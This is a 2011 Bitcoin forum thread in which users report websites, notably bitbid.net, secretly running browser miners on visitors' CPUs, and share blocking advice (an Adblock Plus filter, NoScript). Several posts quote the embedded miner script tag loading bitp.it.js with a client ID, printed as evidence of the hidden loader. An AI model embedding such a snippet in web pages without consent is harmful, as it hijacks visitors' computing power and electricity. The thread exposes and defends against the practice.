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May 31, 2011, 03:23:56 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Is this REALLY what BitCoin is about?

Can anything be done against this monstrosity?

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May 31, 2011, 03:29:38 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?
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May 31, 2011, 03:32:10 AM
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Block sites that bother you. Easy fix.
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May 31, 2011, 03:32:30 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

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May 31, 2011, 03:37:22 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

Doesn't look like theres anything wrong to me.
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May 31, 2011, 03:40:41 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

Doesn't look like theres anything wrong to me.

I can confirm bitbid.net makes my CPU jump from 1% to 53%

Edit: It contains the following code:

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<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
  bitpit({clientId: "755"});
</script>

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May 31, 2011, 03:41:01 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

Doesn't look like theres anything wrong to me.

chrome that bad boy and inspect it


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May 31, 2011, 03:42:47 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

Doesn't look like theres anything wrong to me.

chrome that bad boy and inspect it



Ah, sorry. Only saw a 1% jump, probably because of noScript. Missed that in the source. Smiley
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May 31, 2011, 03:43:03 AM
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I'm serious, who the hell decided it would be a good idea to embed hidden miners on every other bitcoin related web site?

You are causing visitors to leave your site and never return. Not to mention stealing their CPU power and electricity, or the increased risk of causing a fire, killing their cat & children.

Can anything be done against this monstrosity?

Got proof?

http://www.bitbid.net for one.

Doesn't look like theres anything wrong to me.

I can confirm bitbid.net makes my CPU jump from 1% to 53%

Edit: It contains the following code:

Code:
<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script>
<script type="text/javascript">
  bitpit({clientId: "755"});
</script>

SAME here, i sit on the site my CPU jumps to 28% to 35+% usage
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May 31, 2011, 03:48:04 AM
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+1

I'm not very observant, but if I see ANY website sucking up my CPU without my consent, I will not be back for a second visit.
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May 31, 2011, 03:50:17 AM
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ditto, a google chrome worker, jumped up to 100% of one cpu when on that site. boo

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May 31, 2011, 03:50:28 AM
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And the world thought web miners were great. I actually got scoffed at the last time I voiced concern over the active development of CPU and WebCL web miners.

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May 31, 2011, 03:50:57 AM
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Still, can't see how it's ruining anyone's life... just don't visit that web site.

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May 31, 2011, 03:55:38 AM
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And the world thought web miners were great. I actually got scoffed at the last time I voiced concern over the active development of CPU and WebCL web miners.

You're right, stealing resources is wrong.

I have adblockplus, so I added the filter
Code:
||bitp.it^

For now you can just block the script host, but as people start coding their own web miners, we'll be in for a real hassle...
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May 31, 2011, 03:57:05 AM
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use FF with "noscript" enabled

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May 31, 2011, 03:59:04 AM
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http://noscript.net/

There is no reason why a web site doing this is any worse than a web site doing anything else with JavaScript, Java, Flash, Silverlight, etc.  If your browser lets people run programs on your computer, they will.  If you don't like it, disable it with noscript, complain to your browser developer that they shouldn't allow unfettered scripts by untrusted web sites. 

One browser feature I'd like to see is allow untrusted web sites to run scripts for only a second or two per user interaction.  Video players would need to use HTML5 video or get permission from the user for long-running scripts.
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May 31, 2011, 04:03:04 AM
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And the world thought web miners were great. I actually got scoffed at the last time I voiced concern over the active development of CPU and WebCL web miners.

You're right, stealing resources is wrong.

I have adblockplus, so I added the filter
Code:
||bitp.it^

For now you can just block the script host, but as people start coding their own web miners, we'll be in for a real hassle...

Thank you, I have updated my filter and the resource vampire has been smitten. This could become a real problem...

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May 31, 2011, 04:04:47 AM
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You're right, stealing resources is wrong.

It isn't stealing. If you go to a site with scripting enabled, then you are inviting that site to run scripts.

It is a bit of a dick move though.
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May 31, 2011, 04:06:48 AM
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Maybe we should compile a list of all of the known websites that are using this?
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May 31, 2011, 04:09:46 AM
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or the increased risk of causing a fire, killing their cat & children.

so....i don't like it either... but this seems a tad extreme.

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